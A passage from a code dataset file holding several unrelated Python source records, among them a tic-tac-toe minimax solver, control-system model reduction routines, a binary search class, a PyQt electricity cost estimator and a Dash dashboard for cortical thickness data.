action)\n res = minimax_value(next_board)\n # and update when a better solution is found\n # according to the min/max function\n v = func(v, res)\n return v\n\n\ndef minimax_value_alpha_beta(board, alpha, beta):\n if terminal(board):\n return utility(board)\n\n # initialize values\n init = 2\n board_actions = actions(board)\n player_X_or_O = player(board)\n # set player functions\n if player_X_or_O==X:\n func = max\n v = -init\n elif player_X_or_O==O:\n func = min\n v = init\n else:\n raise ValueError(\"Player is\", player_X_or_O)\n\n # Computation of minimax value : \n # for all actions, compute the minimax value...\n for action in board_actions:\n next_board = result(board, action)\n res = minimax_value_alpha_beta(next_board, alpha, beta)\n # and update when a better solution is found\n # according to the min/max function\n v = func(v, res)\n if player_X_or_O==X:\n alpha = func(alpha, res)\n if beta <= alpha:\n break\n elif player_X_or_O==O:\n beta = func(beta, res)\n if alpha >= beta:\n break\n else:\n raise ValueError(\"Player is\", player_X_or_O)\n return v\n\n\ndef minimax(board):\n \"\"\"\n Returns the optimal action for the current player on the board.\n \n The minimax function should take a board as input, \n and return the optimal move for the player to move on that board.\n\n The move returned should be the optimal action (i, j) \n that is one of the allowable actions on the board. \n If multiple moves are equally optimal, any of those\n moves is acceptable.\n If the board is a terminal board, the minimax function\n should return None.\n\n \"\"\"\n # If TERMINAL, no best move\n if terminal(board):\n return None\n # initialize values\n init = 2\n board_actions = actions(board)\n player_X_or_O = player(board)\n alpha = -init\n beta = +init\n\n # we want to compute and update the best action from this point\n best_action = None\n\n # set player functions\n if player_X_or_O==X:\n func = max\n v = -init\n op = operator.gt\n elif player_X_or_O==O:\n func = min\n v = init\n op = operator.lt\n else:\n raise ValueError(\"Player is\", player_X_or_O) \n\n # Computation of minimax best action : \n # for all actions, compute the minimax value... \n for action in board_actions:\n # Compute minimax value for next board\n next_board = result(board, action)\n res = minimax_value_alpha_beta(next_board, alpha, beta)\n #res = minimax_value(next_board)\n # save the action if the score is the best so far\n if op(res, v):\n best_action = action\n # and update the best score so far\n v = func(v, res)\n return best_action\n","repo_name":"mocquin/CS50AI","sub_path":"0_search/project0/tictactoe/tictactoe.py","file_name":"tictactoe.py","file_ext":"py","file_size_in_byte":9172,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"70557293285","text":"from __future__ import print_function\n\n# External packages and modules\nimport numpy as np\nimport control.ctrlutil as ctrlutil\nfrom control.exception import *\nfrom control.lti import isdtime, isctime\nfrom control.statesp import StateSpace\nfrom control.statefbk import *\n\n# Hankel Singular Value Decomposition\n# The following returns the Hankel singular values, which are singular values \n#of the matrix formed by multiplying the controllability and observability \n#grammians\ndef hsvd(sys):\n \"\"\"Calculate the Hankel singular values.\n\n Parameters\n ----------\n sys : StateSpace\n A state space system \n\n Returns\n -------\n H : Matrix\n A list of Hankel singular values \n\n See Also\n --------\n gram\n\n Notes\n -----\n The Hankel singular values are the singular values of the Hankel operator. \n In practice, we compute the square root of the eigenvalues of the matrix \n formed by taking the product of the observability and controllability \n gramians. There are other (more efficient) methods based on solving the \n Lyapunov equation in a particular way (more details soon). \n\n Examples\n --------\n >>> H = hsvd(sys)\n\n \"\"\"\n # TODO: implement for discrete time systems\n if (isdtime(sys, strict=True)):\n raise NotImplementedError(\"Function not implemented in discrete time\")\n\n Wc = gram(sys,'c')\n Wo = gram(sys,'o')\n WoWc = np.dot(Wo, Wc)\n w, v = np.linalg.eig(WoWc)\n\n hsv = np.sqrt(w)\n hsv = np.matrix(hsv)\n hsv = np.sort(hsv)\n hsv = np.fliplr(hsv)\n # Return the Hankel singular values\n return hsv\n\ndef modred(sys, ELIM, method='matchdc'):\n \"\"\"\n Model reduction of `sys` by eliminating the states in `ELIM` using a given \n method.\n\n Parameters\n ----------\n sys: StateSpace\n Original system to reduce\n ELIM: array\n Vector of states to eliminate\n method: string\n Method of removing states in `ELIM`: either ``'truncate'`` or \n ``'matchdc'``.\n\n Returns\n -------\n rsys: StateSpace\n A reduced order model \n\n Raises\n ------\n ValueError\n * if `method` is not either ``'matchdc'`` or ``'truncate'``\n * if eigenvalues of `sys.A` are not all in left half plane \n (`sys` must be stable) \n\n Examples\n --------\n >>> rsys = modred(sys, ELIM, method='truncate')\n \"\"\"\n\n #Check for ss system object, need a utility for this?\n\n #TODO: Check for continous or discrete, only continuous supported right now\n # if isCont():\n # dico = 'C'\n # elif isDisc():\n # dico = 'D'\n # else:\n if (isctime(sys)):\n dico = 'C'\n else:\n raise NotImplementedError(\"Function not implemented in discrete time\")\n\n\n #Check system is stable\n D,V = np.linalg.eig(sys.A)\n for e in D:\n if e.real >= 0:\n raise ValueError(\"Oops, the system is unstable!\")\n ELIM = np.sort(ELIM)\n NELIM = []\n # Create list of elements not to eliminate (NELIM)\n for i in range(0,len(sys.A)):\n if i not in ELIM:\n NELIM.append(i)\n # A1 is a matrix of all columns of sys.A not to eliminate\n A1 = sys.A[:,NELIM[0]]\n for i in NELIM[1:]:\n A1 = np.hstack((A1, sys.A[:,i]))\n A11 = A1[NELIM,:] \n A21 = A1[ELIM,:] \n # A2 is a matrix of all columns of sys.A to eliminate\n A2 = sys.A[:,ELIM[0]]\n for i in ELIM[1:]:\n A2 = np.hstack((A2, sys.A[:,i]))\n A12 = A2[NELIM,:]\n A22 = A2[ELIM,:]\n\n C1 = sys.C[:,NELIM]\n C2 = sys.C[:,ELIM]\n B1 = sys.B[NELIM,:]\n B2 = sys.B[ELIM,:]\n\n A22I = np.linalg.inv(A22)\n\n if method=='matchdc':\n # if matchdc, residualize\n Ar = A11 - A12*A22.I*A21\n Br = B1 - A12*A22.I*B2\n Cr = C1 - C2*A22.I*A21\n Dr = sys.D - C2*A22.I*B2\n elif method=='truncate':\n # if truncate, simply discard state x2\n Ar = A11 \n Br = B1\n Cr = C1\n Dr = sys.D \n else:\n raise ValueError(\"Oops, method is not supported!\")\n\n rsys = StateSpace(Ar,Br,Cr,Dr)\n return rsys\n\ndef balred(sys, orders, method='truncate'):\n \"\"\"\n Balanced reduced order model of sys of a given order. \n States are eliminated based on Hankel singular value.\n\n Parameters\n ----------\n sys: StateSpace\n Original system to reduce\n orders: integer or array of integer\n Desired order of reduced order model (if a vector, returns a vector \n of systems)\n method: string\n Method of removing states, either ``'truncate'`` or ``'matchdc'``.\n\n Returns\n -------\n rsys: StateSpace\n A reduced order model \n\n Raises\n ------\n ValueError\n * if `method` is not ``'truncate'``\n * if eigenvalues of `sys.A` are not all in left half plane \n (`sys` must be stable) \n ImportError\n if slycot routine ab09ad is not found \n\n Examples\n --------\n >>> rsys = balred(sys, order, method='truncate') \n\n \"\"\"\n\n #Check for ss system object, need a utility for this?\n\n #TODO: Check for continous or discrete, only continuous supported right now\n # if isCont():\n # dico = 'C'\n # elif isDisc():\n # dico = 'D'\n # else:\n dico = 'C'\n\n #Check system is stable\n D,V = np.linalg.eig(sys.A)\n # print D.shape\n # print D\n for e in D:\n if e.real >= 0:\n raise ValueError(\"Oops, the system is unstable!\")\n \n if method=='matchdc':\n raise ValueError (\"MatchDC not yet supported!\")\n elif method=='truncate':\n try:\n from slycot import ab09ad\n except ImportError:\n raise ControlSlycot(\"can't find slycot subroutine ab09ad\")\n job = 'B' # balanced (B) or not (N)\n equil = 'N' # scale (S) or not (N) \n n = np.size(sys.A,0)\n m = np.size(sys.B,1)\n p = np.size(sys.C,0)\n Nr, Ar, Br, Cr, hsv = ab09ad(dico,job,equil,n,m,p,sys.A,sys.B,sys.C,nr=orders,tol=0.0) \n \n rsys = StateSpace(Ar, Br, Cr, sys.D)\n else:\n raise ValueError(\"Oops, method is not supported!\")\n\n return rsys\n\ndef minreal(sys, tol=None, verbose=True):\n '''\n Eliminates uncontrollable or unobservable states in state-space\n models or cancelling pole-zero pairs in transfer functions. The\n output sysr has minimal order and the same response\n characteristics as the original model sys.\n\n Parameters\n ----------\n sys: StateSpace or TransferFunction\n Original system\n tol: real\n Tolerance\n verbose: bool\n Print results if True\n\n Returns\n -------\n rsys: StateSpace or TransferFunction\n Cleaned model\n '''\n sysr = sys.minreal(tol)\n if verbose:\n print(\"{nstates} states have been removed from the model\".format(\n nstates=len(sys.pole()) - len(sysr.pole())))\n return sysr\n\ndef era(YY, m, n, nin, nout, r):\n \"\"\"\n Calculate an ERA model of order `r` based on the impulse-response data `YY`.\n \n .. note:: This function is not implemented yet.\n \n Parameters\n ----------\n YY: array\n `nout` x `nin` dimensional impulse-response data\n m: integer\n Number of rows in Hankel matrix\n n: integer\n Number of columns in Hankel matrix\n nin: integer\n Number of input variables\n nout: integer\n Number of output variables\n r: integer\n Order of model\n\n Returns\n -------\n sys: StateSpace\n A reduced order model sys=ss(Ar,Br,Cr,Dr) \n\n Examples\n --------\n >>> rsys = era(YY, m, n, nin, nout, r)\n \"\"\"\n raise NotImplementedError('This function is not implemented yet.')\n\ndef markov(Y, U, M):\n \"\"\"\n Calculate the first `M` Markov parameters [D CB CAB ...] \n from input `U`, output `Y`.\n\n Parameters\n ----------\n Y: array_like\n Output data \n U: array_like\n Input data\n M: integer\n Number of Markov parameters to output\n\n Returns\n -------\n H: matrix\n First M Markov parameters\n\n Notes\n -----\n Currently only works for SISO\n\n Examples\n --------\n >>> H = markov(Y, U, M)\n \"\"\"\n\n # Convert input parameters to matrices (if they aren't already)\n Ymat = np.mat(Y)\n Umat = np.mat(U)\n n = np.size(U)\n\n # Construct a matrix of control inputs to invert\n UU = Umat\n for i in range(1, M-1):\n newCol = np.vstack((0, UU[0:n-1,i-2]))\n UU = np.hstack((UU, newCol))\n Ulast = np.vstack((0, UU[0:n-1,M-2]))\n for i in range(n-1,0,-1):\n Ulast[i] = np.sum(Ulast[0:i-1])\n UU = np.hstack((UU, Ulast))\n\n # Invert and solve for Markov parameters\n H = UU.I\n H = np.dot(H, Y)\n\n return H\n\n","repo_name":"awesomebytes/python-control-code","sub_path":"src/modelsimp.py","file_name":"modelsimp.py","file_ext":"py","file_size_in_byte":8688,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"52"} +{"seq_id":"20410317200","text":"class ArregloBinario(object):\n \"\"\"\n \"\"\" \n\n def __init__(self, arry):\n self.arreglo = arry\n \n def Busqueda(self, item):\n pos = -1 #posicion inicia en -1\n inf = 0\n sup = len(self.arreglo) -1\n mitad = int((inf + sup +1) /2) \n item_bin = item\n \n while (inf <= sup) and (pos == -1):\n if(item_bin == self.arreglo[mitad]):# si el elemento se encuentra en medio\n pos = mitad# la ubicaci�n es el elemento medio actual\n \n if(item_bin < self.arreglo[mitad]):\n sup = mitad - 1# elimina la mitad superior\n \n else:\n inf = mitad + 1# elimina la mitad inferior \n\n mitad = int((inf + sup +1) / 2)# recalcula el elemento medio\n \n return pos #Retorna la poscicion\n\n\n","repo_name":"Programacion-Algoritmos-18-2/ejercicios-clases-6-1-jhonathanramirez","sub_path":"modelado/modelo.py","file_name":"modelo.py","file_ext":"py","file_size_in_byte":841,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"72190378086","text":"from projects.workers.get_object_property import GetObjectProperty\nfrom tests.base import BaseTestCase\nfrom tests.workers.base import WorkerBaseTestCase\n\n\nclass GetObjectPropertyTestCase(WorkerBaseTestCase):\n worker_class = GetObjectProperty\n\n @BaseTestCase.cases(\n (\"plain\", {\"a\": \"b\"}, {\"property\": \"a\"}, \"b\"),\n (\"nested\", {\"a\": {\"b\": {\"c\": [1, 2, 3]}}}, {\"property\": \"a.b.c\"}, [1, 2, 3]),\n (\n \"a_bit_nested\",\n {\"a\": {\"b\": {\"c\": {\"d\": {\"e\": {\"f\": \"g\"}}}}}},\n {\"property\": \"a.b.c.d.e\"},\n {\"f\": \"g\"},\n ),\n )\n def test_worker(self, obj, in_config, expectation):\n result = self.worker_class(pipeline_processor={\"in_config\": in_config}).execute(\n obj\n )\n self.assertEqual(result, expectation)\n","repo_name":"firewut/data-transform-pipelines-api","sub_path":"src/tests/workers/test_get_object_property.py","file_name":"test_get_object_property.py","file_ext":"py","file_size_in_byte":806,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"52"} +{"seq_id":"526173450","text":"import sys\nfrom src.UI.components.FeatureButton import FeatureButton\nfrom src.UI.components.UtilityButton import UtilityButton\nfrom src.UI.util.PageWindow import PageWindow\nfrom PyQt5 import QtWidgets, QtCore, QtGui\nfrom src.ClassFiles.Estimator import Estimator\nfrom src.ClassFiles.DataInput import DataInput1, DataInput2\nfrom src.ClassFiles.PerangkatListrik import PerangkatListrik\nfrom typing import List\n\n\nclass EstimatorPage(PageWindow):\n def __init__(self, list_of_data: List[PerangkatListrik]):\n super().__init__()\n self.setBaseSize(1024, 720)\n self.setSizeIncrement(2, 2)\n self.setStyleSheet(\"background-color: #FFFFFF;\")\n self.setWindowTitle(\"Estimator\")\n self.list_of_data = list_of_data\n\n font = QtGui.QFont(\"Courier New\", 20, weight=QtGui.QFont.Bold)\n\n result_font = QtGui.QFont(\"Courier New\", 15, weight=QtGui.QFont.Bold)\n\n # create main container\n main_container = QtWidgets.QWidget()\n self.setCentralWidget(main_container)\n\n main_layout = QtWidgets.QVBoxLayout(main_container)\n\n # title container\n title_container = QtWidgets.QWidget()\n\n title_layout = QtWidgets.QHBoxLayout(title_container)\n\n self.title_label = QtWidgets.QLabel(\"Electrical Used Price Estimator\")\n\n self.title_label.setFont(font)\n\n title_layout.addStretch()\n title_layout.addWidget(self.title_label, alignment=QtCore.Qt.AlignBottom)\n title_layout.addStretch()\n\n # create button to dpl 2\n btn_container = QtWidgets.QWidget()\n btn_layout = QtWidgets.QHBoxLayout(btn_container)\n self.btn_to_dpl2 = UtilityButton(\n \"Please Press Here to Include Data\", self.go_to_input_data_v2, self\n )\n self.btn_to_dpl2.setMinimumSize(90, 90)\n btn_layout.addStretch()\n btn_layout.addWidget(self.btn_to_dpl2)\n btn_layout.addStretch()\n\n # create go button\n # go_btn_container = QtWidgets.QWidget()\n # go_btn_layout = QtWidgets.QHBoxLayout(go_btn_container)\n # self.go_btn = UtilityButton(\"Calculate Estimation\", None, self)\n # self.go_btn.setMinimumSize(90, 90)\n # go_btn_layout.addStretch()\n # go_btn_layout.addWidget(self.go_btn)\n # go_btn_layout.addStretch()\n\n # create price defined container\n price_container = QtWidgets.QWidget()\n\n price_container.setMaximumHeight(int(0.1 * main_container.height()))\n\n price_layout = QtWidgets.QHBoxLayout(price_container)\n\n price_label = QtWidgets.QLabel(\"price: \")\n\n self.price_input = QtWidgets.QLineEdit()\n\n # Set placeholder text to indicate required input\n self.price_input.setPlaceholderText(\"605\")\n\n price_layout.addStretch()\n price_layout.addWidget(price_label)\n price_layout.addWidget(self.price_input)\n price_layout.addStretch()\n\n # create result container\n result_container = QtWidgets.QWidget()\n result_layout = QtWidgets.QHBoxLayout(result_container)\n\n result_str = self.get_estimator()\n self.result_label = QtWidgets.QLabel(result_str)\n self.result_label.setFont(result_font)\n\n timer = QtCore.QTimer(self)\n timer.timeout.connect(self.update_label)\n timer.start(1000)\n\n result_layout.addStretch()\n result_layout.addWidget(self.result_label)\n result_layout.addStretch()\n\n # create back button\n back_btn_container = QtWidgets.QWidget()\n back_btn_container.setMaximumHeight(int(self.height() * 0.2))\n back_btn_layout = QtWidgets.QHBoxLayout(back_btn_container)\n self.back_btn = UtilityButton(\"Back\", lambda: self.back_to_main(), self)\n self.back_btn.setMinimumSize(90, 90)\n back_btn_layout.addStretch()\n back_btn_layout.addWidget(self.back_btn, alignment=QtCore.Qt.AlignBottom)\n\n # main_layout.addWidget(QtWidgets.QLabel(\"Up\"))\n main_layout.addWidget(title_container)\n main_layout.addWidget(btn_container)\n main_layout.addWidget(price_container)\n main_layout.addWidget(result_container)\n main_layout.addWidget(back_btn_container)\n\n def back_to_main(self):\n self.goto(\"main\")\n\n def go_to_input_data_v2(self):\n self.goto(\"datainputv2\")\n\n def update_label(self):\n update_result_str = self.get_estimator()\n self.result_label.setText(update_result_str)\n\n def get_estimator(self):\n input_value = self.price_input.text()\n if not input_value:\n input_value = float(605)\n else:\n input_value = float(input_value)\n estimator_obj = Estimator(True, self.list_of_data, input_value)\n estimator_obj.hitung_biaya_listrik()\n return estimator_obj.display_total_biaya()\n # self.setLayout(main_layout)\n\n # # get the center position of the main container\n # center_pos = main_container.rect().center()\n\n # create title container\n # title_container = QtWidgets.QWidget()\n # title_layout = QtWidgets.QHBoxLayout(title_container)\n # title_layout.setAlignment(QtCore.Qt.AlignCenter | QtCore.Qt.AlignVCenter)\n # title_layout.setContentsMargins(0, -50, 0, 0) # move container up\n\n # title_label = QtWidgets.QLabel(\"Hello World!\")\n # title_label.setAlignment(QtCore.Qt.AlignCenter)\n\n # # set font family and size\n # font = QtGui.QFont(\"Arial\", 18)\n # title_label.setFont(font)\n\n # # add stretchable spaces on both sides of the label\n # title_layout.addStretch()\n # title_layout.addWidget(title_label)\n # title_layout.addStretch()\n\n # # calculate the position of the title container based on the center position of the main container\n # x = round((main_container.width() - title_container.width()) / 2)\n # y = round(main_container.height() * 0.4)\n # title_container.setGeometry(x, y, title_container.width(), title_container.height())\n\n # main_layout.addWidget(title_container)\n","repo_name":"Jimly-Firdaus/Watt-De-House","sub_path":"src/UI/pages/EstimatorUI.py","file_name":"EstimatorUI.py","file_ext":"py","file_size_in_byte":6057,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"26447040169","text":"import h5py\nimport numpy as np\nimport pandas as pd\nfrom collections import OrderedDict\nimport dash\nimport dash_core_components as dcc\nimport dash_html_components as html\nfrom dash.dependencies import Input, Output\nfrom mni import create_mesh_data, default_colorscale\nimport plotly.graph_objs as go\nimport copy\n\n# Import cortical thickness and connectivity data\nwith h5py.File(\"all_lnm_data_corrected.hdf5\", 'r') as f:\n ages = f[\"ages\"][()]\n ct_data = f[\"dkt/grey_matter_metrics/ct\"][()]\n cortical_conn = f[\"dkt/connectivity_matrices/cortical_only\"][()]\n\nct_data = np.reshape(ct_data, (ct_data.shape[0], ct_data.shape[1]))\n\n# Remove data for regions not in DKT atlas (left6, right6)\nct_data = np.delete(ct_data, [5, 32 + 5], 1)\n\n# Sort data by age\nindices = ages.argsort()\nages.sort()\nct_data = ct_data[indices, :]\ncortical_conn = cortical_conn[indices, :]\n\n# Import DKT atlas data\nwith h5py.File(\"atlases.hdf5\", 'r') as fa:\n dkt_ids_cortex = fa['gm/dkt/id_cortex'][()]\n region_names = fa['gm/dkt/name'][()]\n\nregions = OrderedDict()\nfor i in np.arange(0, len(region_names)):\n if dkt_ids_cortex[i] != 'nan':\n id = int(dkt_ids_cortex[i])\n regions[id] = region_names[i]\n\n# Import DKT conversions\ndkt = pd.read_csv('data/dkt_conv.csv', sep='\\t', names=['name', 'region'], header=None, skiprows=1)\n\n# Define data options\ndata_options = ['Data & Trend Line', 'Data only', 'Trend Line only']\n\n\ndef estimate1param(rate, times, initial, step):\n output = np.zeros(times.shape[0])\n output[0] = initial\n i = 1\n for time in times[1:]:\n last = output[i - 1]\n\n deriv = rate * last\n output[i] = last + deriv * step\n i += 1\n\n return output\n\n\ndef estimate2param(iroc, eroc, times, initial, step):\n output = np.zeros((times.shape[0], len(initial)))\n output[0, :] = initial\n i = 1\n for time in times[1:]:\n last = output[i - 1, :]\n\n at = iroc * last\n\n m = np.tile(last, (len(initial), 1))\n np.fill_diagonal(m, 0.0)\n bt = np.sum(eroc * m.sum(-1))\n\n deriv = at + bt\n output[i, :] = last + deriv * step\n i += 1\n\n return output\n\n\ncached_mesh = create_mesh_data(\"human_atlas\", -1)\n\napp = dash.Dash(\"CT Dashboard\")\n\naxis_template = {\n \"showbackground\": True,\n # \"backgroundcolor\": \"#141414\",\n \"gridcolor\": \"rgb(255, 255, 255)\",\n \"zerolinecolor\": \"rgb(255, 255, 255)\",\n}\n\nplot_layout = {\n \"title\": \"\",\n \"margin\": {\"t\": 0, \"b\": 0, \"l\": 0, \"r\": 0},\n \"font\": {\"size\": 12, \"color\": \"black\"},\n \"showlegend\": False,\n # \"plot_bgcolor\": \"#141414\",\n # \"paper_bgcolor\": \"#141414\",\n \"scene\": {\n \"xaxis\": axis_template,\n \"yaxis\": axis_template,\n \"zaxis\": axis_template,\n \"aspectratio\": {\"x\": 1, \"y\": 1.2, \"z\": 1},\n \"camera\": {\"eye\": {\"x\": 1.25, \"y\": 1.25, \"z\": 1.25}},\n \"annotations\": [],\n },\n}\n\napp.layout = html.Div([\n dcc.Markdown('## Lifespan Cortical Thickness Data'),\n # Options for CT graphic\n html.Div(id='ct-graphic-options-div'),\n\n\n # CT graphic\n html.Div([\n html.Div([\n html.Div([\n html.Div([\n dcc.Markdown('Region:'),\n dcc.Dropdown(\n id='region',\n options=[{'label': regions[i], 'value': regions[i]} for i in regions],\n value=regions[25]\n ),\n ],\n style={'width': '30%', 'display': 'inline-block'}),\n\n html.Div([\n dcc.Markdown('Plot Components:'),\n dcc.Dropdown(\n id='display_data',\n options=[{'label': i, 'value': i} for i in data_options],\n value=data_options[0]\n ),\n ], style={'width': '22%', 'float': 'right', 'display': 'inline-block'}),\n ], style={'width': '60%'}),\n dcc.Graph(id='ct-graphic'),\n ],\n style={'width': '70%', 'display': 'inline-block'}),\n\n html.Div([\n dcc.Graph(\n id=\"brain-graph\",\n figure={\n \"data\": cached_mesh,\n \"layout\": plot_layout,\n },\n config={\"editable\": True, \"scrollZoom\": False},\n )\n ],\n style={'width': '30%', 'float': 'right', 'display': 'inline-block'}),\n ]),\n\n html.Div([\n # CT simulator\n dcc.Markdown('## Single Parameter Model Simulation'),\n html.Div([\n html.Div([\n # CT simulator graphic\n dcc.Graph(id='ct-simulator'),\n ],\n style={'width': '75%', 'display': 'inline-block'}),\n\n html.Div([\n # dcc.Markdown('Options:'),\n html.P('Initial CT value:'),\n dcc.Input(id='initial_ct', placeholder='Enter initial CT value...',\n type='text', value='3.83', style={'width': '40px'}),\n # html.Label('Rate of Change:'),\n html.P(),\n html.P('Rate of Change:'),\n dcc.Slider(\n id='roc',\n min=-0.05,\n max=0.05,\n step=0.005,\n value=-0.03,\n marks={\n -0.05: 'Max Atrophy',\n 0: 'No Change',\n 0.05: 'Max Growth'\n },\n ),\n html.P('Ages:'),\n dcc.RangeSlider(\n id='age_slider',\n count=1,\n min=1,\n max=90,\n step=0.5,\n value=[7, 85],\n marks={0: '0', 50: '50', 90: '90'}\n # marks={i: '{}'.format(i) for i in np.arange(1, 85, 10)}\n )\n ], style={'width': '25%', 'float': 'right', 'display': 'inline-block'}),\n ])\n ]),\n html.Div([\n # CT 2 model simulator\n dcc.Markdown('## Two Parameter Model Simulation'),\n html.Div([\n html.Div([\n # CT simulator graphic\n dcc.Graph(id='ct-simulator2'),\n ],\n style={'width': '75%', 'display': 'inline-block'}),\n\n html.Div([\n # dcc.Markdown('Options:'),\n html.P('Initial CT value:'),\n dcc.Input(id='initial_ct2', placeholder='Enter initial CT value...',\n type='text', value='3.83', style={'width': '40px'}),\n # html.Label('Rate of Change:'),\n html.P(),\n html.P('Internal Rate of Change:'),\n dcc.Slider(\n id='iroc',\n min=-0.05,\n max=0.05,\n step=0.005,\n value=-0.03,\n marks={\n -0.05: 'Max Atrophy',\n 0: 'No Change',\n 0.05: 'Max Growth'\n },\n ),\n html.P(),\n html.P('External Rate of Change:'),\n dcc.Slider(\n id='eroc',\n min=-0.005,\n max=0.005,\n step=0.0005,\n value=0.003,\n marks={\n -0.005: 'Max Atrophy',\n 0: 'No Change',\n 0.005: 'Max Growth'\n },\n ),\n html.P('Ages:'),\n dcc.RangeSlider(\n id='age_slider2',\n count=1,\n min=1,\n max=90,\n step=0.5,\n value=[7, 85],\n marks={0: '0', 50: '50', 90: '90'}\n # marks={i: '{}'.format(i) for i in np.arange(1, 85, 10)}\n )\n ], style={'width': '25%', 'float': 'right', 'display': 'inline-block'}),\n ])\n ])\n])\n\n\ndef get_polynomial_trajectory(times, region_count, values, ages, degree):\n val = np.zeros((times.shape[0], region_count))\n for i in range(0, region_count):\n f = np.poly1d(np.polyfit(ages, values[:, i], degree))\n val[:, i] = f(times)\n\n return val\n\n\n@app.callback(\n Output('ct-graphic', 'figure'),\n [Input(component_id='region', component_property='value'),\n Input(component_id='display_data', component_property='value')]\n)\ndef update_ct_graphic(r, dd):\n if r is not None:\n id = -1\n # print(r)\n if dkt['name'].str.contains(r).any():\n try:\n id = dkt.index[dkt['name'] == r][0]\n except:\n id = -1\n\n outs = []\n # print(id)\n if dd != \"Trend Line only\":\n outs.append(go.Scatter(x=ages, y=ct_data[:, id], mode='markers', name='Data'))\n\n if dd != \"Data only\":\n traj = get_polynomial_trajectory(ages, 62, ct_data, ages, 3)\n\n outs.append(go.Scatter(x=ages, y=traj[:, id], name='Trend line'))\n\n if id >= 0:\n return {\n 'data': outs,\n 'layout': go.Layout(\n xaxis={'title': 'Age (years)'},\n yaxis={'title': '%s CT (cm)' % (r), 'range': [0, 4]},\n margin={'l': 40, 'b': 40, 't': 10, 'r': 10},\n legend={'x': 0, 'y': 1},\n hovermode='closest')\n }\n else:\n return {'data': []}\n else:\n return {'data': []}\n\n\n@app.callback(\n Output('brain-graph', 'figure'),\n [Input(component_id='region', component_property='value')]\n)\ndef update_brain_graphic(r):\n if r is not None:\n # print(r)\n if dkt['name'].str.contains(r).any():\n try:\n region = dkt.loc[dkt['name'] == r]['region'].iloc[0]\n except:\n region = -1\n else:\n region = -1\n\n if region > -1:\n # Import views\n views = pd.read_csv('data/views.txt', delim_whitespace=True)\n\n x = views[views['region'] == region]['x'].iloc[0]\n y = views[views['region'] == region]['y'].iloc[0]\n z = views[views['region'] == region]['z'].iloc[0]\n\n # print(region)\n # print(x)\n # print(y)\n # print(z)\n # print(views.head())\n\n plot_layout['scene']['camera']['eye'] = {\"x\": x, \"y\": y, \"z\": z}\n else:\n plot_layout['scene']['camera']['eye'] = {\"x\": -1.25, \"y\": 1.25, \"z\": 1.25}\n\n temp_mesh = copy.deepcopy(cached_mesh)\n\n if region >= 0:\n temp_mesh[0]['intensity'][temp_mesh[0]['intensity'] != region] = 0\n\n return {\n 'data': temp_mesh, #create_mesh_data(\"human_atlas\", region),\n 'layout': plot_layout\n }\n else:\n plot_layout['scene']['camera']['eye'] = {\"x\": -1.25, \"y\": 1.25, \"z\": 1.25}\n\n return {\n 'data': cached_mesh, #create_mesh_data(\"human_atlas\", region),\n 'layout': plot_layout\n }\n\n\n@app.callback(\n Output('ct-simulator', 'figure'),\n [Input(component_id='initial_ct', component_property='value'),\n Input(component_id='roc', component_property='value'),\n Input(component_id='age_slider', component_property='value')]\n)\ndef update_ct_graphic(init_ct, roc, age_slider):\n ic = float(init_ct)\n mina = age_slider[0]\n maxa = age_slider[1]\n\n times = np.arange(mina, maxa, 0.5)\n estims = estimate1param(roc, times, ic, 0.5)\n\n outs = []\n outs.append(go.Scatter(x=times, y=estims, mode='markers', name='Data'))\n\n if roc < 0.0:\n range = [0, ic+1.0]\n else:\n range = [0, max(estims)+1.0]\n\n return {\n 'data': outs,\n 'layout': go.Layout(\n xaxis={'title': 'Age (years)'},\n yaxis={'title': 'Simulated CT (cm)', 'range': range},\n margin={'l': 40, 'b': 40, 't': 10, 'r': 10},\n legend={'x': 0, 'y': 1},\n hovermode='closest')\n }\n\n\n@app.callback(\n Output('ct-simulator2', 'figure'),\n [Input(component_id='initial_ct2', component_property='value'),\n Input(component_id='iroc', component_property='value'),\n Input(component_id='eroc', component_property='value'),\n Input(component_id='age_slider2', component_property='value')]\n)\ndef update_ct_graphic2(init_ct, iroc, eroc, age_slider):\n ic = float(init_ct)\n mina = age_slider[0]\n maxa = age_slider[1]\n\n times = np.arange(mina, maxa, 0.5)\n estims = estimate2param(iroc, eroc, times, [ic, 2.78, 3.44], 0.5)\n\n outs = []\n outs.append(go.Scatter(x=times, y=estims[:, 0], mode='markers', name='Region 1'))\n outs.append(go.Scatter(x=times, y=estims[:, 1], mode='markers', name='Region 2'))\n outs.append(go.Scatter(x=times, y=estims[:, 2], mode='markers', name='Region 3'))\n\n if iroc < 0.0:\n range = [0, ic+1.0]\n else:\n range = [0, max(estims[:, 0])+1.0]\n\n return {\n 'data': outs,\n 'layout': go.Layout(\n xaxis={'title': 'Age (years)'},\n yaxis={'title': 'Simulated CT (cm)', 'range': range},\n margin={'l': 40, 'b': 40, 't': 10, 'r': 10},\n legend={'x': 0, 'y': 1},\n hovermode='closest')\n }\n\n\nif __name__ == '__main__':\n app.run_server(debug=True)\n","repo_name":"mtl-brainhack-school-2019/AtrophiedBrain-machine-learning-parameter-estimation","sub_path":"visapp.py","file_name":"visapp.py","file_ext":"py","file_size_in_byte":13077,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"52"} +{"seq_id":"71644628325","text":"from __future__ import annotations\n\nfrom dataclasses import dataclass, replace\nfrom enum import Enum\nfrom functools import cached_property\nfrom typing import Any\n\nfrom lambeq.bobcat.lexicon import Atom, Category, Feature, Relation\n\n\n@dataclass\nclass IndexedWord:\n \"\"\"A word in a sentence, annotated with its position (1-indexed).\"\"\"\n word: str\n index: int\n\n def __repr__(self) -> str:\n return f'{self.word}_{self.index}'\n\n\n@dataclass\nclass Dependency:\n relation: Relation\n head: IndexedWord\n var: int\n unary_rule_id: int\n filler: IndexedWord | None = None\n\n def replace(self,\n var: int,\n unary_rule_id: int | None = None) -> Dependency:\n if unary_rule_id is None:\n unary_rule_id = self.unary_rule_id\n return replace(self, var=var, unary_rule_id=unary_rule_id)\n\n @classmethod\n def generate(cls,\n cat: Category,\n unary_rule_id: int,\n head: IndexedWord | Variable) -> list[Dependency]:\n if cat.relation:\n if isinstance(head, IndexedWord):\n deps = [cls(cat.relation, head, cat.var, unary_rule_id)]\n else:\n deps = 